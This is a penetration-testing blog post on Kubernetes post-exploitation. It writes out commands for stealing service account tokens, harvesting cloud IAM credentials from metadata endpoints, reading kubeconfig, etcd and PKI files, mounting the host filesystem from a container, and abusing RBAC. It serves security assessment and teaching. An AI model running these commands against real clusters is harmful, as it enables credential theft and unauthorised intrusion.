In the Part 1 — [Kubernetes] Attack Path (Part 1) — Discovery & Initial Access, we discussed how to discover Kubernetes services and endpoint and some of the attack vectors to gain initial access. In this Part 2, I will go over attack surfaces after gaining initial access to either of the Kubernetes cluster or the container deployed within the cluster.
1) Container Access
Let’s say that you were able to breach into the target Kubernetes environment by exploiting a vulnerable web application running on the cluster. Luckily, there was a known exploit to gain RCE to a container. The attack was successful and now you have gained access to one of the containers. Now let’s talk about what kinds of attacks can be done with the given container access.
1–1) Service Account Token
By default, the containers in the Kubernetes cluster will hold service account token within their file system. If an attacker could find that token, he/she can use it to move laterally or depending the privilege of the service account, one can escalate its privilege to further compromise the cluster environment.
$ cat /run/secrets/kubernetes.io/serviceaccount/token
With that Service Account Token, you can use https://jwt.io/ to decode the token:
1–2) Kubernetes API Enumeration
So if you were able to gain access to the Service Account Token (JWT), you can perform some authenticated Kubernetes API enumeration.
# List Pods:
curl -v -H “Authorization: Bearer <jwt_token>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/pods/# List Secrets:
curl -v -H “Authorization: Bearer <jwt_token>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/secrets/# List Deployments:
curl -v -H “Authorization: Bearer <jwt_token>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/deployments# List Daemonsets:
curl -v -H “Authorization: Bearer <jwt_token>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
1–3) Cloud Secret Key
With gained container access, you can also attempt to see if you can retrieve the cloud secret keys via metadata instances. For example, if one can access to AWS IAM secrets, they may have permission to access AWS resources.
- AWS (Amazon)
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
- GKE (Google)
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/kube-env
Note: Adding those “X-Google-Metadata-Request” header is important since Google has implemented controls to prevent people from abusing the metadata endpoint.
- AKE (Azure)
$ curl http://169.254.169.254/metadata/instance/compute?api-version=<version>
Note: Azure supported API versions can be found here.
1–4) Container Breakout
By default, containers will run as privileged or root access within the pods. If you landed on a container that was not configured with default setting, you may need to escalate your privileges or escape from it to gain access to underlying host OS.
There are many different ways to break out of the containers. I will list a few resources here so that you can get ideas if you need to breakout of the containers.
- Docker Breakout (HackTricks)
- Container Escape Using Kernel Exploitation (CyberArk)
- How I Hacked Play-with-Docker (CyberArk)
- CVE-2019–5736 (Container Escape for Docker)
- CVE-2019–14271 (Docker Exploit)
1–5) Writable hostPath Mount
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger
#### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
#### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1
2) Kubectl Access
2–1) Kubectl Config File
During the engagement, let's say that you were able to gain access to the victim’s computer, and it belonged to a Kubernetes engineer or cluster owner. Now, you can probably use the installed
kubectl command to view its configuration files.
- Search for the common Kubernetes config locations
# Kube Configuration
$ cat $HOME/.kube/config# Cluster-Level Configuration
$ cat /var/lib/kubelet/config.yaml
$ cat /etc/kubernetes/kubelet.conf# Instance-Specific Configuration
$ /var/lib/kubelet/kubeadm-flags.env# etcd Configuration
$ cat /etc/kubernetes/manifests/etcd.yaml# Bootstrap Configuration
$ /etc/kubernetes/bootstrap-kubelet.conf# Kubernetes Key
$ cat /etc/kubernetes/pki
2–2) Basic Kubectl Command
I will cover some basic kubectl commands here that can be used for initial enumeration against the target cluster.
# Node Information
$ kubectl get nodes -o wide <--- wide = verbose output# Pod Information
$ kubectl get pods --all-namespace -o wide
$ kubectl describe pods <Name of the Pod># Secret Information
$ kubectl get secrets# Exec into Pod
$ kubectl exec -it <Name of the Pod> /bin/bash
2–3) Risky RBAC Assessment
Regarding the Kubernetes RBAC, there are two main ones:
- Roles: This will grant access to a specific namespace in the cluster.
- ClusterRoles: This will grant access to all namespaces in the cluster.
$ kubectl get role -o yamlkind: Role
- apiGroups: ["*"]
verbs: ["*"] # List, Get, Create# ClusterRole (*Requires Right Privilege to Retrieve Data)
$ kubectl get clusterrole -o yamlkind: ClusterRole
- '*' # List, Get, Create
resources [“*”] + verbs [“get”]: This can be used to access secrets from other service accounts.
resources [“*”] + verbs [“list”]: This can list other users’ secrets that can be used for lateral movement and/or privilege escalation in the cluster.
resources [“*”] + verbs [“create”]: This will allow to create any resources in the cluster, such as pods, roles, etc.
For more attack vectors for abusing risky RBAC permissions examples, please read the great article from CyberArk here.
3) Kubernetes Auditing/Pentesting Tools
# Kubeletctl (Interact with and Attack Kubelet API)
https://github.com/cyberark/kubeletctl# Kubiscan (Scan Kubernetes cluster for risky permissions)
https://github.com/cyberark/KubiScan# Kube-hunter (Kubernetes Vulnerability Scan Tool)
https://github.com/aquasecurity/kube-hunter# Kube-bench (Scan for CIS Kubernetes Benchmark)
In this Part 2, we have gone over some attack vectors to further compromise the Kubernetes environment after you gained initial access to the target cluster. There are a plenty of more things related to attacking Kubernetes clusters; however, I wanted to put something that I would look for first when I am doing a Kubernetes assessment. In future, as Kubernetes is evolving so fast, I will plan to update attack vectors more. I also plan to write mitigations and what you need to do to protect your Kubernetes environment from attackers.
Thanks for reading!